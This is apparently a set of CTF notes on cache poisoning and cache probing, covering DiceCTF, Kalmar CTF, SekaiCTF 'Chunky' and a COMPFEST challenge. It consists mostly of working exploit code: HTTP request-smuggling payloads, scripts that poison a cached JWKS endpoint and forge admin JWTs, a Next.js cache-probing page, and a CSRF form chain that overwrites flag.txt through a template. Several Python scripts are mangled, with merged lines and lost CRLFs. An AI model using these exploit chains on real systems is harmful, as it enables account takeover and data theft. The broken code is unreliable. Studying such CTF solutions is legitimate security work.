Skip to content

Cache Poisoning / Cache Probing

cache poisoning using request smuglingchunky unintended: GET /{user_id}/.well-known/jwks.json /../../..{post_url} server thinks its http/0.9 and it caches the response no transfer-encoding stuff neede...

Created

Updated

6 min read

Reading time

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.

Cache probing attack in nextjs special path _next/image

Event NameDiceCTF Quals 2025
GitHub URL-
Challenge Nameold-site-b-side
Attachments
References

  1. register -> send payload <?><img src=http://localhost:3000/_next/image?url=/api/me/badge&w=640&q=1>
  2. serving and send the url of this html to the bot
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <script>
        for (let i = 0; i < 100; i++) {
            open("<http://localhost:3000/>")
        }
    </script>
</body>
</html>
  1. access https://old-site-b-side-67db156495d8575a.dicec.tf/_next/image?url=/api/me/badge&w=640&q=1 to get gif flag

Cache Poisoning in VCL can escalate self XSS to XSS

Event NameKalmar CTF 2025
GitHub URLhttps://github.com/kalmarunionenctf/kalmarctf/tree/main/2025
Challenge NameKalmar Notes
Attachments
References

GET /note/126588202765/long?.js HTTP/2
Host: b5b5616f803aea138236147c5301829b-44533.inst1.chal-kalmarc.tf
Cookie: session=eyJ1c2VyX2lkIjoyfQ.Z8_7DQ.1KQIw30edxTFfpnn0WJ60HpSlTw
sub vcl_recv {
    if (req.url ~ "\.(js|css|png|gif)$") {
        set req.http.Cache-Control = "max-age=10";
        return (hash);
    }
}

Chunky (Unitended) (SekaiCTF 2023)

cache poisoning using request smuglingchunky unintended: GET /{user_id}/.well-known/jwks.json /../../..{post_url} server thinks its http/0.9 and it caches the response no transfer-encoding stuff needed.

import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import json
import httpx
from pwn import *# URL = "http://localhost:8080"URL = "http://chunky.chals.sekai.team:8080/"context.log_level = logging.INFO
class BaseAPI:
    def __init__(self, url=URL) -> None:
        self.c = httpx.Client(base_url=url)
class UtilsAPI(BaseAPI):
    def __init__(self, url=URL) -> None:
        self.private_key = rsa.generate_private_key(
            public_exponent=65537,
            key_size=2048        )
        self.public_key = self.private_key.public_key()
        super().__init__(url)
    def generate_jwks(self):
        pem = self.public_key.public_bytes(
            encoding=serialization.Encoding.PEM,
            format=serialization.PublicFormat.SubjectPublicKeyInfo,
        )
        x5c = pem.decode().split("-----")[2].strip()
        jwks = {
            "keys": [
                {
                    "alg": "RS256",
                    "x5c": [x5c]
                }
            ]
        }
        return jwks
    def get_private_key_pem(self):
        private_key_pem = self.private_key.private_bytes(
            encoding=serialization.Encoding.PEM,
            format=serialization.PrivateFormat.PKCS8,
            encryption_algorithm=serialization.NoEncryption()
        )
        return private_key_pem
    def send_raw(s, raw):
        r = remote(s.c.base_url.host, s.c.base_url.port)
        r.send(raw)
        return r.recv(4092).decode().replace("\r\n", "\n")
class API(UtilsAPI):
    def signup(s, username, password):
        return s.c.post("/signup", data={
            "username": username,
            "password": password
        })
    def login(s, username, password):
        return s.c.post("/login", data={
            "username": username,
            "password": password
        })
    def create_post(s, title, content):
        return s.c.post("/create_post", data={
            "title": title,
            "content": content
        })
    def flag(s, auth):
        return s.c.get("/admin/flag", headers={
            "Authorization": "Bearer "+auth
        })
if __name__ == "__main__":
    api = API()
    username = "dimas"    password = "dimas"    api.signup(username, password)
    api.login(username, password)
    title = json.dumps(api.generate_jwks())
    payload = f"""\HTTP/1.1 200 OkContent-Type: application/jsonContent-Length: {len(title)}Connection: close\r{title}"""    res = api.create_post(payload, "")
    location = res.headers['location']
    log.info("Location: %s", location)
    userid = location.split("/")[-2]
    log.info("User Id: %s", userid)
    raw = f"""\GET /{userid}/.well-known/jwks.json /../../..{location}host: xConnection: close\r""".encode()
    # send cache poisoning    api.send_raw(raw)
    auth = jwt.encode(
        payload={"user": "admin"},
        key=api.get_private_key_pem(),
        algorithm="RS256"    ).decode()
    res = api.flag(auth)
    print(res.text)

intended

import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import json
import httpx
from pwn import *URL = "http://localhost:8080"# URL = "http://chunky.chals.sekai.team:8080/"context.log_level = logging.INFO
class BaseAPI:
    def __init__(self, url=URL) -> None:
        self.c = httpx.Client(base_url=url)
class UtilsAPI(BaseAPI):
    def __init__(self, url=URL) -> None:
        self.private_key = rsa.generate_private_key(
            public_exponent=65537,
            key_size=2048        )
        self.public_key = self.private_key.public_key()
        super().__init__(url)
    def generate_jwks(self):
        pem = self.public_key.public_bytes(
            encoding=serialization.Encoding.PEM,
            format=serialization.PublicFormat.SubjectPublicKeyInfo,
        )
        x5c = pem.decode().split("-----")[2].strip()
        jwks = {
            "keys": [
                {
                    "alg": "RS256",
                    "x5c": [x5c]
                }
            ]
        }
        return jwks
    def get_private_key_pem(self):
        private_key_pem = self.private_key.private_bytes(
            encoding=serialization.Encoding.PEM,
            format=serialization.PrivateFormat.PKCS8,
            encryption_algorithm=serialization.NoEncryption()
        )
        return private_key_pem
    def send_raw(s, raw):
        r = remote(s.c.base_url.host, s.c.base_url.port)
        r.send(raw)
        return r.recv(4092).decode().replace("\r\n", "\n")
class API(UtilsAPI):
    def signup(s, username, password):
        return s.c.post("/signup", data={
            "username": username,
            "password": password
        })
    def login(s, username, password):
        return s.c.post("/login", data={
            "username": username,
            "password": password
        })
    def create_post(s, title, content):
        return s.c.post("/create_post", data={
            "title": title,
            "content": content
        })
    def flag(s, auth):
        return s.c.get("/admin/flag", headers={
            "Authorization": "Bearer "+auth
        })
if __name__ == "__main__":
    api = API()
    username = "dimas"    password = "dimas"    api.signup(username, password)
    api.login(username, password)
    title = json.dumps(api.generate_jwks())
    res = api.create_post(title, "")
    post = res.headers['location']
    log.info("Location: %s", post)
    userid = post.split("/")[-2]
    log.info("User Id: %s", userid)
    smuggle = "GET {} HTTP/1.1\r\nHost: localhost\r\n\r\n".format(post)
    http_request = f"""\GET /post/x/x HTTP/1.1Host: localhostContent-Length: {5+len(smuggle)}transfer-encoding: chunked\r0\r\r{smuggle}GET /{userid}/.well-known/jwks.json HTTP/1.1Host: localhost\r"""    # send cache poisoning    print(http_request.replace("\r", ""))
    res = api.send_raw(http_request)
    print(res)
    auth = jwt.encode(
        payload={"user": "admin"},
        key=api.get_private_key_pem(),
        algorithm="RS256"    ).decode()
    res = api.flag(auth)
    print(res.text)
solve
from jwcrypto import jwk
import requests
import string
import random
import time
import json
import jwt

from pwn import *


def random_string():
    res = "".join(random.choices(string.ascii_uppercase + string.digits, k=32))
    return res


key = jwk.JWK.generate(kty="RSA", size=2048, use="sig")
pubkey = b"".join(key.export_to_pem().splitlines()[1:-1]).decode()
privkey = key.export_to_pem(private_key=True, password=None)
jwks = json.dumps({"keys": [{"alg": "RS256", "x5c": [pubkey]}]})

if args.REMOTE:
    host = "chunky.chals.sekai.team"
    port = "8080"
else:
    host = "127.0.0.1"
    port = "8080"

base_url = "http://{}:{}".format(host, port)
signup_url = base_url + "/signup"
login_url = base_url + "/login"
post_url = base_url + "/create_post"
flag_url = base_url + "/admin/flag"

jwks_url_template = base_url + "/{user_id}/.well-known/jwks.json"

s = requests.Session()


def signup(username, password):
    form_data = {"username": username, "password": password}
    r = s.post(signup_url, data=form_data, allow_redirects=False)
    return r.status_code == 302


def login(username, password):
    form_data = {"username": username, "password": password}
    r = s.post(login_url, data=form_data, allow_redirects=False)
    return r.status_code == 302


def create_blog_post(title, content):
    form_data = {"title": title, "content": content}
    r = s.post(post_url, data=form_data, allow_redirects=False)
    redir = r.headers.get("Location")
    parts = redir.rsplit("/", maxsplit=2)
    print(parts)
    user_id = parts[1]
    post_id = parts[2]

    result = (len(user_id) == 36) and (len(post_id) == 36)
    return (user_id, post_id), (r.status_code == 302 and result)


def poison_cache(user_id, post_id):
    payload = "\r\n".join(
        [
            f"GET /{random_string()} HTTP/1.1",
            "Host: {host}:{port}".format(host=host, port=port),
            "Transfer-EncodinG: chunked\r\n",
        ]
    )

    poison = "\r\n".join(
        [
            "0",
            "",
            "GET /post/{user_id}/{post_id} HTTP/1.1".format(
                user_id=user_id, post_id=post_id
            ),
            "Rik: X",
        ]
    )

    to_poison = "\r\n".join(
        [
            "GET /{user_id}/.well-known/jwks.json HTTP/1.1".format(user_id=user_id),
            "Host: {host}:{port}".format(host=host, port=port),
            "",
        ]
    )

    content_length = len(poison)
    payload += "Content-Length: %d\r\n\r\n" % content_length
    payload += poison
    payload += to_poison
    print(payload.replace("\r", ""), flush=True)

    r = remote(host, port)
    r.send(payload)
    r.close()


username = random_string()
password = random_string()
print(username)
print(password)
print(signup(username, password))
print(login(username, password))

(user_id, post_id), result = create_blog_post(jwks, "")
print(user_id, post_id, result)

poison_cache(user_id, post_id)

time.sleep(3)
r = s.get(jwks_url_template.format(user_id=user_id))
print(r.text)

payload = {"user": "admin"}
admin_jwt = jwt.encode(payload, privkey, "RS256")
headers = {"Authorization": f"Bearer {admin_jwt}"}

r = s.get(flag_url, headers=headers)
print(r.text)

Cache poisoning in URL Path

https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html

        merge_slashes off;
        
        location /assets/ {
            proxy_pass http://server:8000;
            
            proxy_cache assets_cache;
            proxy_cache_valid any 10s;
            proxy_set_header Host $http_host;
            proxy_set_header X-Forwarded-For $remote_addr;
            add_header X-Cache-Status $upstream_cache_status;
        }
func CSP() gin.HandlerFunc {
	return func(ctx *gin.Context) {
		host := ctx.Request.Host
		rules := "default-src 'none';"
		rules += " frame-src 'self';"
		rules += " script-src http://" + host + "/assets/tailwind.js;"
		rules += " style-src 'unsafe-inline';"
		ctx.Header("Content-Security-Policy", rules)
		ctx.Next()
	}
}
	router := gin.Default(func(e *gin.Engine) {
		e.RemoveExtraSlash = true
	})

solver

import os, hashlib, requests, re
from flask import Flask, render_template_string

template = """
<form method="POST" action="{{ host_url }}/admin/themes" target="_blank" id="create-template-form">
    <input type="text" name="name" value="{{ template_name }}">
    <input type="text" name="template" value='{{ template_body }}'>
</form>

<form method="POST" action="{{ host_url }}/theme" target="_blank" id="set-theme-form">
    <input type="text" name="theme" value="{{ template_name }}">
</form>

<form method="POST" action="{{ host_url }}/notes" target="_blank" id="create-note-form">
    <input type="text" name="name" value="{{ note_name }}">
    <input type="text" name="content" value="{{ note_body }}">
</form>

<form method="GET" action="{{ host_url }}/assets/%2F../notes/{{ note_hash }}" target="_blank" id="get-note-cache-form">
    <input type="text" name="a" value="b">
</form>

<script>
    function sleep(ms) {
        return new Promise(resolve => setTimeout(resolve, ms));
    }

    const solve = async () => {
        document.getElementById('create-template-form').submit();
        await sleep(1000);
        document.getElementById('set-theme-form').submit();
        await sleep(1000);
        document.getElementById('create-note-form').submit();
        await sleep(1000);
        document.getElementById('get-note-cache-form').submit();
        await sleep(1000);
        fetch("/fetch-flag/{{ note_hash }}")
    };

    document.addEventListener("DOMContentLoaded", function() {
        solve();
    });
</script>
"""

app = Flask(__name__)

HOST_URL = 'https://test.meervix.com'
TEMPLATE_NAME = os.urandom(16).hex()
TEMPLATE_BODY = '{{ .Update "../../../flag.txt" "lulski" }} {{ .Name }} {{ .Content }} {{ .Render "theme" }}'


@app.route('/')
def index():
    note_name = os.urandom(16).hex()
    note_body = os.urandom(16).hex()
    note_hash = hashlib.sha256(note_name.encode() + b"_" + note_body.encode()).hexdigest()

    return render_template_string(template, **{
        "host_url": HOST_URL,
        "template_name": TEMPLATE_NAME,
        "template_body": TEMPLATE_BODY,
        "note_name": note_name,
        "note_body": note_body,
        "note_hash": note_hash,
    })

@app.route("/fetch-flag/<note_hash>")
def fetch_flag(note_hash: str):
    flag_url = f"{HOST_URL}/assets/%2F../notes/{note_hash}?a=b"

    s = requests.Session()
    req = requests.Request(method='GET', url=flag_url)
    prep = req.prepare()
    prep.url = flag_url
    res = s.send(prep, verify=False)

    try:
        flag = re.findall(r"COMPFEST16{.+?}", res.text)[0]
        print(flag)
    except:
        print("FLAG not found")
    return ""

if __name__ == '__main__':
    app.run(debug=True)

Cache poisoning in nodejs package

Business CTF 2022: Chaining Self XSS with Cache Poisoning - Felonious Forums (hackthebox.com)

Share this note

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.